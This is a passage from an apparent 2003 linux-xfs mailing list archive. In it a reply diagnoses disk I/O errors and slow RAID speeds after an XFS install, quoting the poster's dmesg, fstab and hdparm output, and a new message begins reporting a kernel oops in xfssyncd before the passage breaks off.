noauto,owner,kudzu,ro 0 0 ======================================================================== ========== hdparm ======================================================================== ========== hdparam -i /dev/hda /dev/hda: Model=Maxtor 6Y120P0, FwRev=YAR41VW0, SerialNo=Y41C6M4E Config={ Fixed } RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=57 BuffType=DualPortCache, BuffSize=7936kB, MaxMultSect=16, MultSect=16 CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=240121728 IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120} PIO modes: pio0 pio1 pio2 pio3 pio4 DMA modes: mdma0 mdma1 mdma2 UDMA modes: udma0 udma1 udma2 udma3 udma4 *udma5 udma6 AdvancedPM=yes: disabled (255) WriteCache=disabled Drive conforms to: (null): 1 2 3 4 5 6 7 [root@pkumar2 piyush]# hdparm -tT /dev/hda /dev/hda: Timing buffer-cache reads: 128 MB in 0.19 seconds =673.68 MB/sec Timing buffered disk reads: 64 MB in 1.44 seconds = 44.44 MB/sec [root@pkumar2 piyush]# hdparm -tT /dev/sda /dev/sda: Timing buffer-cache reads: 128 MB in 0.19 seconds =673.68 MB/sec Timing buffered disk reads: 64 MB in 1.16 seconds = 55.17 MB/sec [root@pkumar2 piyush]# From owner-linux-xfs@oss.sgi.com Sun Sep 28 01:14:41 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 01:15:11 -0700 (PDT) Received: from shell.wgops.com (postfix@shell.wgops.com [66.92.192.108]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8S8EdFx024014 for ; Sun, 28 Sep 2003 01:14:40 -0700 Received: from [10.1.2.77] (jobe.wgops.com [10.1.2.77]) by shell.wgops.com (Postfix) with ESMTP id B275E24FAC for ; Sun, 28 Sep 2003 02:14:13 -0600 (MDT) Date: Sun, 28 Sep 2003 02:13:39 -0600 From: Michael Loftis To: linux-xfs@oss.sgi.com Subject: Re: XFS Patches for redhat kernel Message-ID: <5349862.1064715219@[10.1.2.77]> In-Reply-To: <000401c3857e$c60892d0$22f6f582@resnet.sunysb.edu> References: <000401c3857e$c60892d0$22f6f582@resnet.sunysb.edu> X-Mailer: Mulberry/3.0.3 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-MailScanner-Information: Please contact support@wgops.com X-MailScanner: WGOPS clean X-archive-position: 558 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: mloftis@wgops.com Precedence: bulk X-list: linux-xfs Content-Length: 25029 Lines: 624 But it does sound very much like your drive may be having issues.... hdparm isn't a good benchmark of disk i/o. at all. it uses much too small sizes firstly and secondly depending on which mode you're in it only tests cache read/write speeds. Todays drives need atleast a couple hundred megs to give an accurate speed result, hdparm uses something piddly like 16MB --On Sunday, September 28, 2003 1:09 AM -0400 Piyush Kumar wrote: > > > > Are there any rpms available for the redhat kernel 2.4.20-20.9 with xfs? > > I tried the XFS 1.3 installer CDs with my Redhat 9.1 CDs and could > make them work on my SMP Xeon 2.6Ghz system with 3ware controller but > with > some problems. > > When I "startx" I get this message > > hda: dma_intr: status=0x51 {DriveReady SeekComplete Error } > hda: dma_intr: status=0x40 {UncorrectableError},LBAsect=161297763, > sector=143481672 > end_request: I/O error, dev 03:03 (hda), sector 143481672 > ... > > on tty1 as X/kde starts. There is a core.xxxx file created in the > place I run startx from, otherwise everything runs ok. > > Sometimes, when I try to run some application from KDE like "Terminal" > another core appears in the directory. > > I do not believe that my hard disk is broken! I have a maxtor which ran > perfectly till yesterday with the ext3. I installed XFS today and > changed > the kernel, and now it seems that the problem is because I changed the > whole file system to XFS and the kernel to 2.4.20-19.9. But I don't know > for sure what is going wrong.. > > One more thing I observed was that hdparm gives for my maxtor drive and > and for my 3ware card (which has 4 similar hard disks connected to it on > RAID 0) > around the same reading and writing speed as /dev/h da(Maxtor)! Seems > some driver is messed up. I tried to copy the updated 3w-xxxx.c file on > the kernel and recompile the kernel that came with the XFS-SGI-Redhat > CD, but to no avail. The kernel modules wont just compile (one error or > the other stops it). (I tried many configurations including the one > that is there in /boot for the up and running kernel). > > Is there an easier way to run XFS? Should I move my hda to ext3 and > try to just move the RAID on xfs and then see if I can get the real > speed of the RAID on to redhat? > > Thanks in advance for your help/comments, > > Best Wishes, > --Piyush > > > Attaching my dmesg + fstab + hdparm > > hda = maxtor 120GB > sda = 3ware 7500 4LP + 4 western digital 120GB > > > ======================================================================== > ========== > dmesg > ======================================================================== > ========== > > Linux version 2.4.20-19.9.XFS1.3.0smp (root@naboo.americas.sgi.com) (gcc > version 3.2.2 20030222 (Red Hat Linux 3.2.2-5)) #1 SMP Wed Aug 20 > 17:56:56 CDT 2003 > BIOS-provided physical RAM map: > BIOS-e820: 0000000000000000 - 000000000009b000 (usable) > BIOS-e820: 000000000009b000 - 00000000000a0000 (reserved) > BIOS-e820: 00000000000d0000 - 00000000000d4000 (reserved) > BIOS-e820: 00000000000e4000 - 0000000000100000 (reserved) > BIOS-e820: 0000000000100000 - 000000007ff70000 (usable) > BIOS-e820: 000000007ff70000 - 000000007ff78000 (ACPI data) > BIOS-e820: 000000007ff78000 - 000000007ff80000 (ACPI NVS) > BIOS-e820: 000000007ff80000 - 0000000080000000 (reserved) > BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) > BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved) > BIOS-e820: 00000000ff800000 - 00000000ffc00000 (reserved) > BIOS-e820: 00000000fff00000 - 0000000100000000 (reserved) > 1151MB HIGHMEM available. > 896MB LOWMEM available. > found SMP MP-table at 000f64d0 > hm, page 000f6000 reserved twice. > hm, page 000f7000 reserved twice. > hm, page 0009b000 reserved twice. > hm, page 0009c000 reserved twice. > On node 0 totalpages: 524144 > zone(0): 4096 pages. > zone(1): 225280 pages. > zone(2): 294768 pages. > ACPI: Searched entire block, no RSDP was found. > ACPI: RSDP located at physical address c00f6460 > RSD PTR v0 [PTLTD ] > __va_range(0x7ff74022, 0x68): idx=10 mapped at ffff5000 > ACPI table found: RSDT v1 [PTLTD RSDT 1540.0] > __va_range(0x7ff77e78, 0x24): idx=10 mapped at ffff5000 > __va_range(0x7ff77e78, 0x74): idx=10 mapped at ffff5000 > ACPI table found: FACP v1 [INTEL PLACER 1540.0] > __va_range(0x7ff77eec, 0x24): idx=10 mapped at ffff5000 > __va_range(0x7ff77eec, 0x9c): idx=10 mapped at ffff5000 > ACPI table found: APIC v1 [PTLTD APIC 1540.0] > __va_range(0x7ff77eec, 0x9c): idx=10 mapped at ffff5000 > LAPIC (acpi_id[0x0000] id[0x0] enabled[1]) > CPU 0 (0x0000) enabledProcessor #0 Pentium 4(tm) XEON(tm) APIC version > 16 > > LAPIC (acpi_id[0x0001] id[0x6] enabled[1]) > CPU 1 (0x0600) enabledProcessor #6 Pentium 4(tm) XEON(tm) APIC version > 16 > > LAPIC (acpi_id[0x0002] id[0x1] enabled[1]) > CPU 2 (0x0100) enabledProcessor #1 Pentium 4(tm) XEON(tm) APIC version > 16 > > LAPIC (acpi_id[0x0003] id[0x7] enabled[1]) > CPU 3 (0x0700) enabledProcessor #7 Pentium 4(tm) XEON(tm) APIC version > 16 > > IOAPIC (id[0x2] address[0xfec00000] global_irq_base[0x0]) > IOAPIC (id[0x3] address[0xfec80000] global_irq_base[0x18]) > IOAPIC (id[0x4] address[0xfec80100] global_irq_base[0x30]) > INT_SRC_OVR (bus[0] irq[0x0] global_irq[0x2] polarity[0x1] trigger[0x1]) > INT_SRC_OVR (bus[0] irq[0x9] global_irq[0x9] polarity[0x1] trigger[0x3]) > LAPIC_NMI (acpi_id[0x0000] polarity[0x1] trigger[0x1] lint[0x1]) > LAPIC_NMI (acpi_id[0x0001] polarity[0x1] trigger[0x1] lint[0x1]) > LAPIC_NMI (acpi_id[0x0002] polarity[0x1] trigger[0x1] lint[0x1]) > LAPIC_NMI (acpi_id[0x0003] polarity[0x1] trigger[0x1] lint[0x1]) > 4 CPUs total > Local APIC address fee00000 > __va_range(0x7ff77f88, 0x24): idx=10 mapped at ffff5000 > __va_range(0x7ff77f88, 0x28): idx=10 mapped at ffff5000 > ACPI table found: BOOT v1 [PTLTD $SBFTBL$ 1540.0] > __va_range(0x7ff77fb0, 0x24): idx=10 mapped at ffff5000 > __va_range(0x7ff77fb0, 0x50): idx=10 mapped at ffff5000 > ACPI table found: SPCR v1 [PTLTD $UCRTBL$ 1540.0] > Enabling the CPU's according to the ACPI table > Intel MultiProcessor Specification v1.4 > Virtual Wire compatibility mode. > OEM ID: Product ID: PLACER CRB APIC at: 0xFEE00000 > I/O APIC #2 Version 32 at 0xFEC00000. > I/O APIC #3 Version 32 at 0xFEC80000. > I/O APIC #4 Version 32 at 0xFEC80100. > Enabling APIC mode: Flat. Using 3 I/O APICs > Processors: 4 > Kernel command line: ro root=LABEL=/ hdd=ide-scsi acpi=off > ide_setup: hdd=ide-scsi > Initializing CPU#0 > Detected 2665.964 MHz processor. > Console: colour VGA+ 80x25 > Calibrating delay loop... 5321.52 BogoMIPS > Memory: 2058888k/2096576k available (1543k kernel code, 33060k reserved, > 1167k data, 160k init, 1179072k highmem) > kdb version 4.3 by Keith Owens, Scott Lurndal. Copyright SGI, All Rights > Reserved > Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes) > Inode cache hash table entries: 131072 (order: 8, 1048576 bytes) > Mount cache hash table entries: 512 (order: 0, 4096 bytes) > Buffer-cache hash table entries: 131072 (order: 7, 524288 bytes) > Page-cache hash table entries: 524288 (order: 9, 2097152 bytes) > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 0 > Intel machine check architecture supported. > Intel machine check reporting enabled on CPU#0. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > Enabling fast FPU save and restore... done. > Enabling unmasked SIMD FPU exception support... done. > Checking 'hlt' instruction... OK. > POSIX conformance testing by UNIFIX > mtrr: v1.40 (20010327) Richard Gooch (rgooch@atnf.csiro.au) > mtrr: detected mtrr type: Intel > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 0 > Intel machine check reporting enabled on CPU#0. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU0: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > per-CPU timeslice cutoff: 1463.11 usecs. > task migration cache decay timeout: 10 msecs. > enabled ExtINT on CPU#0 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Booting processor 1/1 eip 2000 > Initializing CPU#1 > masked ExtINT on CPU#1 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Calibrating delay loop... 5321.52 BogoMIPS > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 0 > Intel machine check reporting enabled on CPU#1. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU1: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > Booting processor 2/6 eip 2000 > Initializing CPU#2 > masked ExtINT on CPU#2 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Calibrating delay loop... 5321.52 BogoMIPS > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 3 > Intel machine check reporting enabled on CPU#2. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU2: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > Booting processor 3/7 eip 2000 > Initializing CPU#3 > masked ExtINT on CPU#3 > ESR value before enabling vector: 00000000 > ESR value after enabling vector: 00000000 > Calibrating delay loop... 5321.52 BogoMIPS > CPU: Trace cache: 12K uops, L1 D cache: 8K > CPU: L2 cache: 512K > CPU: Physical Processor ID: 3 > Intel machine check reporting enabled on CPU#3. > CPU: After generic, caps: bfebfbff 00000000 00000000 00000000 > CPU: Common caps: bfebfbff 00000000 00000000 00000000 > CPU3: Intel(R) Xeon(TM) CPU 2.66GHz stepping 07 > Total of 4 processors activated (21286.09 BogoMIPS). > cpu_sibling_map[0] = 1 > cpu_sibling_map[1] = 0 > cpu_sibling_map[2] = 3 > cpu_sibling_map[3] = 2 > ENABLING IO-APIC IRQs > Setting 2 in the phys_id_present_map > ...changing IO-APIC physical APIC ID to 2 ... ok. > Setting 3 in the phys_id_present_map > ...changing IO-APIC physical APIC ID to 3 ... ok. > Setting 4 in the phys_id_present_map > ...changing IO-APIC physical APIC ID to 4 ... ok. > init IO_APIC IRQs > IO-APIC (apicid-pin) 2-0, 2-5, 2-10, 2-11, 2-20, 2-22, 3-1, 3-2, 3-3, > 3-4, 3-5, 3-6, 3-7, 3-8, 3-9, 3-10, 3-11, 3-12, 3-13, 3-14, 3-15, 3-16, > 3-17, 3-18, 3-19, 3-20, 3-21, 3-22, 3-23, 4-0, 4-1, 4-2, 4-3, 4-4, 4-5, > 4-7, 4-8, 4-9, 4-10, 4-11, 4-12, 4-13, 4-14, 4-15, 4-16, 4-17, 4-18, > 4-19, 4-20, 4-21, 4-22, 4-23 not connected. > ..TIMER: vector=0x31 pin1=2 pin2=0 > number of MP IRQ sources: 21. > number of IO-APIC #2 registers: 24. > number of IO-APIC #3 registers: 24. > number of IO-APIC #4 registers: 24. > testing the IO APIC....................... > > IO APIC #2...... > .... register #00: 02000000 > ....... : physical APIC id: 02 > .... register #01: 00178020 > ....... : max redirection entries: 0017 > ....... : PRQ implemented: 1 > ....... : IO APIC version: 0020 > .... register #02: 00000000 > ....... : arbitration: 00 > .... IRQ redirection table: > NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: > 00 000 00 1 0 0 0 0 0 0 00 > 01 0FF 0F 0 0 0 0 0 1 1 39 > 02 0FF 0F 0 0 0 0 0 1 1 31 > 03 0FF 0F 0 0 0 0 0 1 1 41 > 04 0FF 0F 0 0 0 0 0 1 1 49 > 05 000 00 1 0 0 0 0 0 0 00 > 06 0FF 0F 0 0 0 0 0 1 1 51 > 07 0FF 0F 0 0 0 0 0 1 1 59 > 08 0FF 0F 0 0 0 0 0 1 1 61 > 09 0FF 0F 0 0 0 0 0 1 1 69 > 0a 000 00 1 0 0 0 0 0 0 00 > 0b 000 00 1 0 0 0 0 0 0 00 > 0c 0FF 0F 0 0 0 0 0 1 1 71 > 0d 0FF 0F 0 0 0 0 0 1 1 79 > 0e 0FF 0F 0 0 0 0 0 1 1 89 > 0f 0FF 0F 0 0 0 0 0 1 1 91 > 10 0FF 0F 1 1 0 1 0 1 1 99 > 11 0FF 0F 1 1 0 1 0 1 1 A1 > 12 0FF 0F 1 1 0 1 0 1 1 A9 > 13 0FF 0F 1 1 0 1 0 1 1 B1 > 14 000 00 1 0 0 0 0 0 0 00 > 15 0FF 0F 1 1 0 1 0 1 1 B9 > 16 000 00 1 0 0 0 0 0 0 00 > 17 0FF 0F 1 1 0 1 0 1 1 C1 > > IO APIC #3...... > .... register #00: 03000000 > ....... : physical APIC id: 03 > .... register #01: 00178020 > ....... : max redirection entries: 0017 > ....... : PRQ implemented: 1 > ....... : IO APIC version: 0020 > .... register #02: 03000000 > ....... : arbitration: 03 > .... IRQ redirection table: > NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: > 00 0FF 0F 1 1 0 1 0 1 1 C9 > 01 000 00 1 0 0 0 0 0 0 00 > 02 000 00 1 0 0 0 0 0 0 00 > 03 000 00 1 0 0 0 0 0 0 00 > 04 000 00 1 0 0 0 0 0 0 00 > 05 000 00 1 0 0 0 0 0 0 00 > 06 000 00 1 0 0 0 0 0 0 00 > 07 000 00 1 0 0 0 0 0 0 00 > 08 000 00 1 0 0 0 0 0 0 00 > 09 000 00 1 0 0 0 0 0 0 00 > 0a 000 00 1 0 0 0 0 0 0 00 > 0b 000 00 1 0 0 0 0 0 0 00 > 0c 000 00 1 0 0 0 0 0 0 00 > 0d 000 00 1 0 0 0 0 0 0 00 > 0e 000 00 1 0 0 0 0 0 0 00 > 0f 000 00 1 0 0 0 0 0 0 00 > 10 000 00 1 0 0 0 0 0 0 00 > 11 000 00 1 0 0 0 0 0 0 00 > 12 000 00 1 0 0 0 0 0 0 00 > 13 000 00 1 0 0 0 0 0 0 00 > 14 000 00 1 0 0 0 0 0 0 00 > 15 000 00 1 0 0 0 0 0 0 00 > 16 000 00 1 0 0 0 0 0 0 00 > 17 000 00 1 0 0 0 0 0 0 00 > > IO APIC #4...... > .... register #00: 04000000 > ....... : physical APIC id: 04 > .... register #01: 00178020 > ....... : max redirection entries: 0017 > ....... : PRQ implemented: 1 > ....... : IO APIC version: 0020 > .... register #02: 04000000 > ....... : arbitration: 04 > .... IRQ redirection table: > NR Log Phy Mask Trig IRR Pol Stat Dest Deli Vect: > 00 000 00 1 0 0 0 0 0 0 00 > 01 000 00 1 0 0 0 0 0 0 00 > 02 000 00 1 0 0 0 0 0 0 00 > 03 000 00 1 0 0 0 0 0 0 00 > 04 000 00 1 0 0 0 0 0 0 00 > 05 000 00 1 0 0 0 0 0 0 00 > 06 0FF 0F 1 1 0 1 0 1 1 D1 > 07 000 00 1 0 0 0 0 0 0 00 > 08 000 00 1 0 0 0 0 0 0 00 > 09 000 00 1 0 0 0 0 0 0 00 > 0a 000 00 1 0 0 0 0 0 0 00 > 0b 000 00 1 0 0 0 0 0 0 00 > 0c 000 00 1 0 0 0 0 0 0 00 > 0d 000 00 1 0 0 0 0 0 0 00 > 0e 000 00 1 0 0 0 0 0 0 00 > 0f 000 00 1 0 0 0 0 0 0 00 > 10 000 00 1 0 0 0 0 0 0 00 > 11 000 00 1 0 0 0 0 0 0 00 > 12 000 00 1 0 0 0 0 0 0 00 > 13 000 00 1 0 0 0 0 0 0 00 > 14 000 00 1 0 0 0 0 0 0 00 > 15 000 00 1 0 0 0 0 0 0 00 > 16 000 00 1 0 0 0 0 0 0 00 > 17 000 00 1 0 0 0 0 0 0 00 > IRQ to pin mappings: > IRQ0 -> 0:2 > IRQ1 -> 0:1 > IRQ3 -> 0:3 > IRQ4 -> 0:4 > IRQ6 -> 0:6 > IRQ7 -> 0:7 > IRQ8 -> 0:8 > IRQ9 -> 0:9 > IRQ12 -> 0:12 > IRQ13 -> 0:13 > IRQ14 -> 0:14 > IRQ15 -> 0:15 > IRQ16 -> 0:16 > IRQ17 -> 0:17 > IRQ18 -> 0:18 > IRQ19 -> 0:19 > IRQ21 -> 0:21 > IRQ23 -> 0:23 > IRQ24 -> 1:0 > IRQ54 -> 2:6 > .................................... done. > Using local APIC timer interrupts. > calibrating APIC timer ... > ..... CPU clock speed is 2665.9925 MHz. > ..... host bus clock speed is 133.2993 MHz. > cpu: 0, clocks: 1332993, slice: 266598 > CPU0 > cpu: 1, clocks: 1332993, slice: 266598 > cpu: 3, clocks: 1332993, slice: 266598 > cpu: 2, clocks: 1332993, slice: 266598 > CPU1 > CPU2 > CPU3 > checking TSC synchronization across CPUs: passed. > Starting migration thread for cpu 0 > smp_num_cpus: 4. > Starting migration thread for cpu 1 > Starting migration thread for cpu 2 > Starting migration thread for cpu 3 > PCI: PCI BIOS revision 2.10 entry at 0xfd8f5, last bus=5 > PCI: Using configuration type 1 > PCI: Probing PCI hardware > PCI: Ignoring BAR0-3 of IDE controller 00:1f.1 > Transparent bridge - Intel Corp. 82801BA/CA/DB PCI Bridge > PCI: Using IRQ router PIIX [8086/24c0] at 00:1f.0 > PCI->APIC IRQ transform: (B0,I29,P0) -> 16 > PCI->APIC IRQ transform: (B0,I29,P1) -> 19 > PCI->APIC IRQ transform: (B0,I29,P2) -> 18 > PCI->APIC IRQ transform: (B0,I29,P3) -> 23 > PCI->APIC IRQ transform: (B0,I31,P0) -> 17 > PCI->APIC IRQ transform: (B0,I31,P1) -> 17 > PCI->APIC IRQ transform: (B0,I31,P1) -> 17 > PCI->APIC IRQ transform: (B1,I0,P0) -> 21 > PCI->APIC IRQ transform: (B3,I3,P0) -> 54 > PCI->APIC IRQ transform: (B4,I1,P0) -> 24 > isapnp: Scanning for PnP cards... > isapnp: No Plug & Play device found > Linux NET4.0 for Linux 2.4 > Based upon Swansea University Computer Society NET3.039 > Initializing RT netlink socket > apm: BIOS not found. > Starting kswapd > allocated 32 pages and 32 bhs reserved for the highmem bounces > VFS: Disk quotas vdquot_6.5.1 > pty: 2048 Unix98 ptys configured > Serial driver version 5.05c (2001-07-08) with MANY_PORTS MULTIPORT > SHARE_IRQ SERIAL_PCI ISAPNP enabled > ttyS0 at 0x03f8 (irq = 4) is a 16550A > ttyS1 at 0x02f8 (irq = 3) is a 16550A > Real Time Clock Driver v1.10e > Floppy drive(s): fd0 is 1.44M > FDC 0 is a post-1991 82077 > NET4: Frame Diverter 0.46 > RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize > Uniform Multi-Platform E-IDE driver Revision: 7.00beta3-.2.4 > ide: Assuming 33MHz system bus speed for PIO modes; override with > idebus=xx > ICH4: IDE controller at PCI slot 00:1f.1 > PCI: Enabling device 00:1f.1 (0005 -> 0007) > ICH4: chipset revision 2 > ICH4: not 100% native mode: will probe irqs later > ide0: BM-DMA at 0x24a0-0x24a7, BIOS settings: hda:DMA, hdb:pio > ide1: BM-DMA at 0x24a8-0x24af, BIOS settings: hdc:pio, hdd:DMA > hda: Maxtor 6Y120P0, ATA DISK drive > blk: queue c0478f80, I/O limit 4095Mb (mask 0xffffffff) > hdd: CD-RW 52X24, ATAPI CD/DVD-ROM drive > ide0 at 0x1f0-0x1f7,0x3f6 on irq 14 > ide1 at 0x170-0x177,0x376 on irq 15 > hda: attached ide-disk driver. > hda: host protected area => 1 > hda: 240121728 sectors (122942 MB) w/7936KiB Cache, CHS=14946/255/63, > UDMA(100) > ide-floppy driver 0.99.newide > Partition check: > hda: hda1 hda2 hda3 > ide-floppy driver 0.99.newide > md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27 > md: Autodetecting RAID arrays. > md: autorun ... > md: ... autorun DONE. > pci_hotplug: PCI Hot Plug PCI Core version: 0.5 > NET4: Linux TCP/IP 1.0 for NET4.0 > IP Protocols: ICMP, UDP, TCP, IGMP > IP: routing cache hash table of 16384 buckets, 128Kbytes > TCP: Hash tables configured (established 262144 bind 65536) > Linux IP multicast router 0.06 plus PIM-SM > NET4: Unix domain sockets 1.0/SMP for Linux NET4.0. > RAMDISK: Compressed image found at block 0 > Freeing initrd memory: 481k freed > VFS: Mounted root (ext2 filesystem). > SCSI subsystem driver Revision: 1.00 > 3ware Storage Controller device driver for Linux v1.02.00.032. > scsi0 : Found a 3ware Storage Controller at 0x4000, IRQ: 24, P-chip: 1.3 > scsi0 : 3ware Storage Controller > blk: queue c45f0a18, I/O limit 4095Mb (mask 0xffffffff) > Vendor: 3ware Model: Logical Disk 0 Rev: 1.0 > Type: Direct-Access ANSI SCSI revision: 00 > blk: queue c45f0818, I/O limit 4095Mb (mask 0xffffffff) > Attached scsi disk sda at scsi0, channel 0, id 0, lun 0 > SCSI device sda: 937756672 512-byte hdwr sectors (480131 MB) > sda: sda1 > SGI XFS 1.3.0 with ACLs, no debug enabled > SGI XFS Quota Management subsystem > XFS mounting filesystem ide0(3,3) > Ending clean XFS mount for filesystem: ide0(3,3) > Freeing unused kernel memory: 160k freed > usb.c: registered new driver usbdevfs > usb.c: registered new driver hub > PCI: Setting latency timer of device 00:1d.7 to 64 > ehci-hcd 00:1d.7: Intel Corp. 82801DB USB EHCI Controller > ehci-hcd 00:1d.7: irq 23, pci mem f88f6000 > usb.c: new USB bus registered, assigned bus number 1 > ehci-hcd 00:1d.7: enabled 64bit PCI DMA > PCI: 00:1d.7 PCI cache line size set incorrectly (0 bytes) by BIOS/FW. > PCI: 00:1d.7 PCI cache line size corrected to 128. > ehci-hcd 00:1d.7: USB 2.0 enabled, EHCI 1.00, driver 2003-Jan-22 > hub.c: USB hub found > hub.c: 6 ports detected > usb-uhci.c: $Revision: 1.275 $ time 18:11:03 Aug 20 2003 > usb-uhci.c: High bandwidth mode enabled > PCI: Setting latency timer of device 00:1d.0 to 64 > usb-uhci.c: USB UHCI at I/O 0x2440, IRQ 16 > usb-uhci.c: Detected 2 ports > usb.c: new USB bus registered, assigned bus number 2 > hub.c: USB hub found > hub.c: 2 ports detected > PCI: Setting latency timer of device 00:1d.1 to 64 > usb-uhci.c: USB UHCI at I/O 0x2460, IRQ 19 > usb-uhci.c: Detected 2 ports > usb.c: new USB bus registered, assigned bus number 3 > hub.c: USB hub found > hub.c: 2 ports detected > PCI: Setting latency timer of device 00:1d.2 to 64 > usb-uhci.c: USB UHCI at I/O 0x2480, IRQ 18 > usb-uhci.c: Detected 2 ports > usb.c: new USB bus registered, assigned bus number 4 > hub.c: USB hub found > hub.c: 2 ports detected > usb-uhci.c: v1.275:USB Universal Host Controller Interface driver > usb.c: registered new driver hiddev > usb.c: registered new driver hid > hid-core.c: v1.8.1 Andreas Gal, Vojtech Pavlik > hid-core.c: USB HID support drivers > mice: PS/2 mouse device common for all mice > Adding Swap: 8385920k swap-space (priority -1) > XFS mounting filesystem ide0(3,1) > Ending clean XFS mount for filesystem: ide0(3,1) > XFS mounting filesystem sd(8,1) > Ending clean XFS mount for filesystem: sd(8,1) > hdd: attached ide-scsi driver. > scsi1 : SCSI host adapter emulation for IDE ATAPI devices > Vendor: ATAPI Model: CD-RW 52X24 Rev: K.HC > Type: CD-ROM ANSI SCSI revision: 02 > > > > > > > ======================================================================== > ========== > /etc/fstab > ======================================================================== > ========== > > LABEL=/ / xfs defaults > 1 1 > LABEL=/boot /boot xfs defaults > 1 2 > none /dev/pts devpts gid=5,mode=620 > 0 0 > LABEL=/home /home xfs defaults > 1 2 > none /proc proc defaults > 0 0 > none /dev/shm tmpfs defaults > 0 0 > /dev/hda2 swap swap defaults > 0 0 > /dev/cdrom /mnt/cdrom udf,iso9660 > noauto,owner,kudzu,ro 0 0 > > > ======================================================================== > ========== > hdparm > ======================================================================== > ========== > > > hdparam -i /dev/hda > > > /dev/hda: > > Model=Maxtor 6Y120P0, FwRev=YAR41VW0, SerialNo=Y41C6M4E > Config={ Fixed } > RawCHS=16383/16/63, TrkSize=0, SectSize=0, ECCbytes=57 > BuffType=DualPortCache, BuffSize=7936kB, MaxMultSect=16, MultSect=16 > CurCHS=16383/16/63, CurSects=16514064, LBA=yes, LBAsects=240121728 > IORDY=on/off, tPIO={min:120,w/IORDY:120}, tDMA={min:120,rec:120} > PIO modes: pio0 pio1 pio2 pio3 pio4 > DMA modes: mdma0 mdma1 mdma2 > UDMA modes: udma0 udma1 udma2 udma3 udma4 *udma5 udma6 > AdvancedPM=yes: disabled (255) WriteCache=disabled > Drive conforms to: (null): 1 2 3 4 5 6 7 > > > > > [root@pkumar2 piyush]# hdparm -tT /dev/hda > > /dev/hda: > Timing buffer-cache reads: 128 MB in 0.19 seconds =673.68 MB/sec > Timing buffered disk reads: 64 MB in 1.44 seconds = 44.44 MB/sec > [root@pkumar2 piyush]# hdparm -tT /dev/sda > > /dev/sda: > Timing buffer-cache reads: 128 MB in 0.19 seconds =673.68 MB/sec > Timing buffered disk reads: 64 MB in 1.16 seconds = 55.17 MB/sec > [root@pkumar2 piyush]# > > > -- Undocumented Features quote of the moment... "It's not the one bullet with your name on it that you have to worry about; it's the twenty thousand-odd rounds labeled `occupant.'" --Murphy's Laws of Combat From owner-linux-xfs@oss.sgi.com Sun Sep 28 06:14:48 2003 Received: with ECARTIS (v1.0.0; list linux-xfs); Sun, 28 Sep 2003 06:15:13 -0700 (PDT) Received: from frigate.technologeek.org (postfix@frigate.technologeek.org [62.4.21.148]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8SDEkFx011981 for ; Sun, 28 Sep 2003 06:14:47 -0700 Received: by frigate.technologeek.org (Postfix, from userid 1000) id D73191C8F821; Sun, 28 Sep 2003 15:15:00 +0200 (CEST) To: linux-xfs@oss.sgi.com Subject: Oops with 2.4.22-xfs in xfssyncd From: Julien BLACHE Date: Sun, 28 Sep 2003 15:15:00 +0200 Message-ID: <87k77tcawb.fsf@frigate.technologeek.org> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.4 (Rational FORTRAN, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-archive-position: 559 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: jb@jblache.org Precedence: bulk X-list: linux-xfs Content-Length: 3425 Lines: 91 Hi, I've got the following oops on an Althon-based machine running 2.4.22-xfs (SGI XFS snapshot 2.4.22-2003-09-03_04:09_UTC with no debug enabled) : Unable to handle kernel NULL pointer dereference at virtual address 00000004 c0131f6b *pde = 00000000 Oops: 0002 CPU: 0 EIP: 0010:[] Not tainted Using defaults from ksymoops -t elf32-i386 -a i386 EFLAGS: 00010046 eax: 00000003 ebx: c184fa74 ecx: e3dc6020 edx: 00000004 esi: 01a0a8ff edi: efd2b110 ebp: efd2b118 esp: efc77f10 ds: 0018 es: 0018 ss: 0018 Process xfssyncd (pid: 15, stackpage=efc77000) Stack: 00000282 ed128678 efd2b110 c013185e c184fa74 e3dc6bb0 ed1287d8 c01a3c8e c184fa74 e3dc6bb0 c01a205a ed1287d8 00000000 ed1287d8 c01c01ab ed1287d8 e3dc6bb0 ed1287d8 c01c02be ed1287d8 00000001 00000002 00000000 00000071 Call 